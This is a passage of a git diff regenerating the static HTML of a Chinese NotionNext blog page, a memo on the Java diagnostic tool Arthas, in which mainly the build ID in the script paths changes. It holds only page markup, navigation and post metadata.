2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"240319-xmrig"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/240320-arthas.html b/article/240320-arthas.html
index 07562bdbc..bbe5a462d 100644
--- a/article/240320-arthas.html
+++ b/article/240320-arthas.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>Arthas简单使用备忘录 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="工具,开发,推荐"/><meta name="description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Arthas简单使用备忘录 | Both Savage"/><meta property="og:description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta property="og:url" content="https://bothsavage.github.io//article/240320-arthas"/><meta property="og:image" content="https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta name="twitter:title" content="Arthas简单使用备忘录 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  bg-green-50 text-green-500"><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240124-deploy">Java部署脚本&amp;重启备份检查&amp;配置环境</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240121-skywaking">解决SkyWalking在gateway中logback链路丢失</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240119-notion">Notion文章自动同步GitPage</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>心情随笔</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/example">示例文章</a></div></div></div></div><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>知行合一</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 "></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/begin">开始</a></div></div></div></div></div></div></div><div class="w-72 fixed left-0 bottom-0 z-20 bg-white"><footer class="z-20 py-2 bg:white dark:bg-hexo-black-gray justify-center text-center w-full text-sm relative"><hr class="pb-2"/><div class="flex justify-center"><div><i class="mx-1 animate-pulse fas fa-heart"></i> <a href="https://bothsavage.github.io/" class="underline font-bold text-gray-500 dark:text-gray-300 ">Both Savage</a>.<br/></div>© <!-- -->2024</div><div class="text-xs font-serif">Powered By <a href="https://github.com/tangly1024/NotionNext" class="underline text-gray-500 dark:text-gray-300">NotionNext</a></div><span class="hidden busuanzi_container_site_pv"><i class="fas fa-eye"></i><span class="px-1 busuanzi_value_site_pv"> </span>  </span><span class="pl-2 hidden busuanzi_container_site_uv"><i class="fas fa-users"></i> <span class="px-1 busuanzi_value_site_uv"> </span> </span><h1 class="pt-1">Both Savage</h1></footer></div></div><div id="center-wrapper" class="flex flex-col justify-between w-full relative z-10 pt-14 min-h-screen"><div id="container-inner" class="w-full px-7 max-w-3xl justify-center mx-auto"><div class="transition ease-in-out duration-700 transform order-first opacity-0 translate-y-16"><div id="container"><h1 class="text-3xl pt-12  dark:text-gray-300">Arthas简单使用备忘录</h1><section id="article-wrapper" class="px-1"><div id="notion-article" class="mx-auto overflow-hidden "><main class="notion light-mode notion-page notion-block-e013510cb3a74907b4cd118b118d30db"><div class="notion-viewport"></div><div class="notion-collection-page-properties"><div class="notion-collection-row"><div class="notion-collection-row-body"><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">type</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">status</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M10.889 5.5H3.11v1.556h7.778V5.5zm1.555-4.444h-.777V0H10.11v1.056H3.89V0H2.333v1.056h-.777c-.864 0-1.548.7-1.548 1.555L0 12.5c0 .856.692 1.5 1.556 1.5h10.888C13.3 14 14 13.356 14 12.5V2.611c0-.855-.7-1.555-1.556-1.555zm0 11.444H1.556V3.944h10.888V12.5zM8.556 8.611H3.11v1.556h5.445V8.61z"></path></svg><div class="notion-collection-column-title-body">date</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-date"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">slug</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">summary</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M4 3a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zm0 4a1 1 0 011-1h7a1 1 0 110 2H5a1 1 0 01-1-1zM2 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2zm0 4a1 1 0 110-2 1 1 0 010 2z"></path></svg><div class="notion-collection-column-title-body">tags</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-multi_select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 13A6 6 0 107 1a6 6 0 000 12zM3.751 5.323A.2.2 0 013.909 5h6.182a.2.2 0 01.158.323L7.158 9.297a.2.2 0 01-.316 0L3.751 5.323z"></path></svg><div class="notion-collection-column-title-body">category</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-select"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">icon</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div><div class="notion-collection-row-property"><div class="notion-collection-column-title"><svg viewBox="0 0 14 14" class="notion-collection-column-title-icon"><path d="M7 4.568a.5.5 0 00-.5-.5h-6a.5.5 0 00-.5.5v1.046a.5.5 0 00.5.5h6a.5.5 0 00.5-.5V4.568zM.5 1a.5.5 0 00-.5.5v1.045a.5.5 0 00.5.5h12a.5.5 0 00.5-.5V1.5a.5.5 0 00-.5-.5H.5zM0 8.682a.5.5 0 00.5.5h11a.5.5 0 00.5-.5V7.636a.5.5 0 00-.5-.5H.5a.5.5 0 00-.5.5v1.046zm0 3.068a.5.5 0 00.5.5h9a.5.5 0 00.5-.5v-1.045a.5.5 0 00-.5-.5h-9a.5.5 0 00-.5.5v1.045z"></path></svg><div class="notion-collection-column-title-body">password</div></div><div class="notion-collection-row-value"><span class="notion-property notion-property-text"></span></div></div></div></div></div><div class="notion-table-of-contents notion-gray notion-block-49660a6b8b104449a089e36bd6de154f"><a href="#4167aad076384d6886643c483389677f" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">契机</span></a><a href="#6216de6129ce4cc19319ab02317fa14a" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">基本配置</span></a><a href="#2a69447b8578439b8fff9f1bcd702af0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">热部署</span></a><a href="#3991bb35efa44722a2699f80ad3e5a89" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:0">常用命令</span></a><a href="#91a2fac9d67e4eb68f80ce12aa78557c" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">watch</span></a><a href="#a70ea93f49bc44eb9af458311b9e22a0" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">trace</span></a><a href="#309ea1f28e1048f989906192b5ecf2dc" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">jad</span></a><a href="#39acdf62e65e4362a2ff92efffb2eea9" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">thread</span></a><a href="#6ba8ddd54df34bf4a8c23154d9404a97" class="notion-table-of-contents-item"><span class="notion-table-of-contents-item-body" style="display:inline-block;margin-left:24px">profiler
+<!DOCTYPE html><html lang="zh-CN"><head><title>Arthas简单使用备忘录 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="工具,开发,推荐"/><meta name="description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="Arthas简单使用备忘录 | Both Savage"/><meta property="og:description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta property="og:url" content="https://bothsavage.github.io//article/240320-arthas"/><meta property="og:image" content="https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"/><meta name="twitter:title" content="Arthas简单使用备忘录 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="技"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/mm0_cWkCfdum_vxo9wL_b/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b 